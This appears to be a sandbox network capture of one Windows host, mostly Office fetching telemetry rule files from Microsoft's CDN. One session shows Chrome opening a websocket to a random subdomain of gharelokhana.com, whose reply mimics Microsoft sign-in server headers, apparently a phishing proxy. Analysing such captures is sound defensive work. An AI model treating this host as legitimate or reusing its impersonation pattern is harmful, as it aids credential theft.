2024-12-04 15:16:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:01 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 55cb7248-101e-0017-4fd4-4547c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151601Z-1746fd949bdkw94lhC1EWRxuz400000001m00000000073vd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:01 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49858	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:02 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 5ce939f7-901e-00ac-7ec7-45b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151602Z-1746fd949bd2cq7chC1EWRnx9g00000000y000000000m0vk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:02 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49860	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:02 UTC	680	OUT	GET /4ac65d3921a049f68027c1dc86c3c5b1/ HTTP/1.1 Host: fdgfhvcfdgfhhjh.gharelokhana.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg==" Sec-WebSocket-Key: xtfaIOULYczHg6sxxLsekg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-04 15:16:03 UTC	740	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 04 Dec 2024 15:16:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 3511f272-6104-4a11-97e0-67b97a39fc00 x-ms-ests-server: 2.1.19492.3 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-04 15:16:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49859	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:02 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:02 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 4ebcc1fc-101e-0028-09cb-458f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151602Z-1746fd949bdb8xvchC1EWRmbd400000001cg00000000591w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:02 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49861	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:03 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:03 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:03 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 0b7a0bcb-d01e-0082-68c5-45e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151603Z-1746fd949bdl6zq5hC1EWRf3ws000000011000000000ey20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:03 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49862	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:03 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:03 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:03 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 2e27a562-801e-00a0-79cb-452196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151603Z-1746fd949bdjzh7thC1EWR3g6400000001c000000000g5nr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:03 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49863	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:04 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:04 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 76609676-a01e-0070-74cc-45573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151604Z-1746fd949bddtfvqhC1EWRxbpg00000001bg000000008khb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:04 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49864	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:04 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:04 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:04 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 1a13e7cb-001e-0049-3bcd-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151604Z-1746fd949bdmv56chC1EWRypnn00000001hg00000000avhd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:04 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49865	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:05 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:05 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:05 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 88657856-001e-008d-2ccc-45d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151605Z-1746fd949bdfg4slhC1EWR34t0000000017g00000000ew86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:05 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49866	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:05 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:06 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:05 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: c77b1400-401e-0048-71d2-450409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151605Z-1746fd949bdmv56chC1EWRypnn00000001h000000000c5h3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:06 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49857	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:05 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:06 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:06 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ddb132fa-c01e-008d-18cc-452eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151606Z-1746fd949bd7wvgbhC1EWR0rgs00000001g0000000005ffu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:06 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49867	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:06 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:07 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:06 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 4edcd523-801e-0047-60d3-457265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151606Z-1746fd949bd7wvgbhC1EWR0rgs00000001a000000000qqb2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:07 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49869	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
